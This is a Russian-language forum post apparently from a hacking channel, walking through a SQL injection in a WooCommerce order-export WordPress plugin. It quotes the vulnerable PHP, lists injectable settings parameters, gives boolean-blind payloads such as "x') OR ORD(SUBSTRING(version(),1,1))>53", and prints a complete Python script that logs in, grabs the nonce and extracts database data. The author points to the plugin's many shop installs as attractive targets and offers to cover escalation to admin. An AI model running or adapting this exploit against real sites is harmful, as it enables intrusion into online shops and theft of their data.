Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Открываем classes/class-wc-order-export-admin.php и видим регистрацию хука:
Code:
add_action( 'wp_ajax_order_exporter', array( $this, 'ajax_gate' ) );
Code:
public function ajax_gate() {
if( !current_user_can('view_woocommerce_reports') AND !current_user_can(self::$cap_export_orders) ){
die( 'You can not do it' );
}
$method = 'ajax_' . sanitize_text_field(wp_unslash($_REQUEST['method']));
$tab = isset($_REQUEST['tab']) ? sanitize_text_field(wp_unslash($_REQUEST['tab'])) : '';
$active_tab = $tab && $this->is_tab_exists($tab) ? $tab : $this->settings['default_tab'];
// ...
if ( ! isset( $this->tabs[ $tab ] ) ) {
$ajax_handler = new WC_Order_Export_Ajax();
// ...
}
// Nonce check
if (! check_admin_referer( 'woe_nonce', 'woe_nonce' ) ) {
die( 'Wrong nonce' );
}
$_POST = stripslashes_deep( $_POST ); // ЗАПОМНИТЕ ЭТУ СТРОЧКУ
$this->tabs[ $tab ]->$method();
Code:
public function ajax_estimate() {
$this->check_nonce();
$settings = WC_Order_Export_Manage::use_ready_or_prepare_settings( $_POST );
$total = WC_Order_Export_Engine::build_file( $settings, 'estimate', 'file', 0, 0, 'test' );
echo json_encode( array( 'total' => $total ) );
}
Code:
if ( $settings['statuses'] ) {
$values = self::sql_subset( $settings['statuses'] );
if ( $values ) {
$where[] = "orders.post_status in ($values)";
}
}
Не удалось прогрузить медиа
Окей, а что за sql_subset()? Смотрим classes/core/trait-woe-core-extractor.php, строка 201:
Code:
private static function sql_subset( $arr_values ) {
$values = array();
foreach ( $arr_values as $s ) {
$values[] = "'$s'";
}
return join( ",", $values );
}
То есть если мы в settings[statuses][] отправим:
Code:
wc-processing') OR ('1'='1
Code:
... AND orders.post_status in ('wc-processing') OR ('1'='1') ...
Не удалось прогрузить медиа
- settings[statuses][] , статусы заказов
- settings[product_vendors][] , вендоры товаров
- settings[products][] , ID товаров
- settings[exclude_products][] , исключаемые товары
- settings[coupons][] , купоны
Code:
settings[statuses][]=x') OR ORD(SUBSTRING(version(),1,1))>53 AND ('1'='1
Code:
orders.post_status in ('x') OR ORD(SUBSTRING(version(),1,1))>53 AND ('1'='1')
Не удалось прогрузить медиа
Code:
#!/usr/bin/env python3
import re, sys, json, argparse, urllib.parse, tls_client
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-l", "--login", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()
target = args.url.rstrip("/")
domain = urllib.parse.urlparse(target).hostname
s = tls_client.Session(client_identifier="chrome_120", random_tls_extension_order=True)
s.timeout_seconds = 30
s.get(f"{target}/wp-login.php", headers={"user-agent": UA})
s.cookies.set("wordpress_test_cookie", "WP%20Cookie%20check", domain=domain, path="/")
r = s.post(f"{target}/wp-login.php", data={
"log": args.login, "pwd": args.password,
"wp-submit": "Log In", "redirect_to": f"{target}/wp-admin/", "testcookie": "1",
}, headers={"user-agent": UA, "content-type": "application/x-www-form-urlencoded", "origin": target})
r = s.get(f"{target}/wp-admin/", headers={"user-agent": UA})
if "adminmenu" not in r.text and "dashboard" not in r.text.lower():
print("login failed"); sys.exit(1)
print("logged in")
r = s.get(f"{target}/wp-admin/admin.php?page=wc-order-export", headers={"user-agent": UA})
m = re.search(r'woe_nonce["\s]*[:=]\s*["\']([a-f0-9]{10})["\']', r.text)
if not m:
m = re.search(r'"woe_nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
if not m:
print("nonce not found"); sys.exit(1)
nonce = m.group(1)
print(f"nonce: {nonce}")
ajax_url = f"{target}/wp-admin/admin-ajax.php"
ajax_h = {"user-agent": UA, "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"x-requested-with": "XMLHttpRequest", "origin": target,
"referer": f"{target}/wp-admin/admin.php?page=wc-order-export"}
def base():
return {"action": "order_exporter", "method": "estimate", "tab": "export",
"woe_nonce": nonce, "mode": "now", "settings[format]": "CSV",
"settings[statuses][]": "wc-processing", "settings[sort]": "order_id",
"settings[sort_direction]": "DESC"}
def check(cond):
d = base()
d["settings[statuses][]"] = f"x') OR {cond} AND ('1'='1"
r = s.post(ajax_url, data=d, headers=ajax_h)
t = json.loads(r.text).get("total")
return t is not None and int(t) > 0
d = base()
d["settings[statuses][]"] = "x') OR 1=1 AND ('1'='1"
r = s.post(ajax_url, data=d, headers=ajax_h)
t = json.loads(r.text).get("total")
if not t or int(t) == 0:
print("sqli not working"); sys.exit(1)
print(f"sqli ok, total={t}")
def extract(expr, maxlen=100):
out = ""
for pos in range(1, maxlen + 1):
lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
if check(f"ORD(SUBSTRING({expr},{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
if lo == 0:
break
out += chr(lo)
print(chr(lo), end="", flush=True)
print()
return out
print("version: ", end="", flush=True)
v = extract("VERSION()")
print(f"\n=> {v}")
Не удалось прогрузить медиа
Указываем креды шоп менеджера, запускаем скрипт, и..- О, чудо, все сработало, достали версию БД'шки. Но не ограничиваемся только этим, как я говорил ранее, импакт у нас тут следующий это повышение прав до админа. Учитывая, что мы можем делать все что угодно, то вариантов развития дальнейших событий по захвату админки куча (если интересно, откликнитесь, распишу статью отдельную как возможно подняться при скуле по известным мне векторам). Думаем, и завершаем статью. Что мы имеем в сухом остатке? Уязвимость, которая есть на ВСЕХ сайтах c этим плагином (а их, уже говорю в третий раз >100k инсталлов, и ВСЕ эти сайты - ШОПЫ, а шопы как мы знаем неплохо ценятся на рынке, не опускайте руки увидев Shop Manager думая что нельзя подняться). CVSS по калькулятору - целых 8.8, что уже почти CRITICAL. У меня лишь один вопрос к читателям, интересен ли вам такой формат, когда ищем новые уязы в плагинах вордпресса (пока что ограничимся лишь им, у меня там опыта побольше), стоит ли еще ресерчить? Ответить, обязательно. Не болейте!
👍81
🔥11
😁11
👏9
🤔23
💯23
LIMB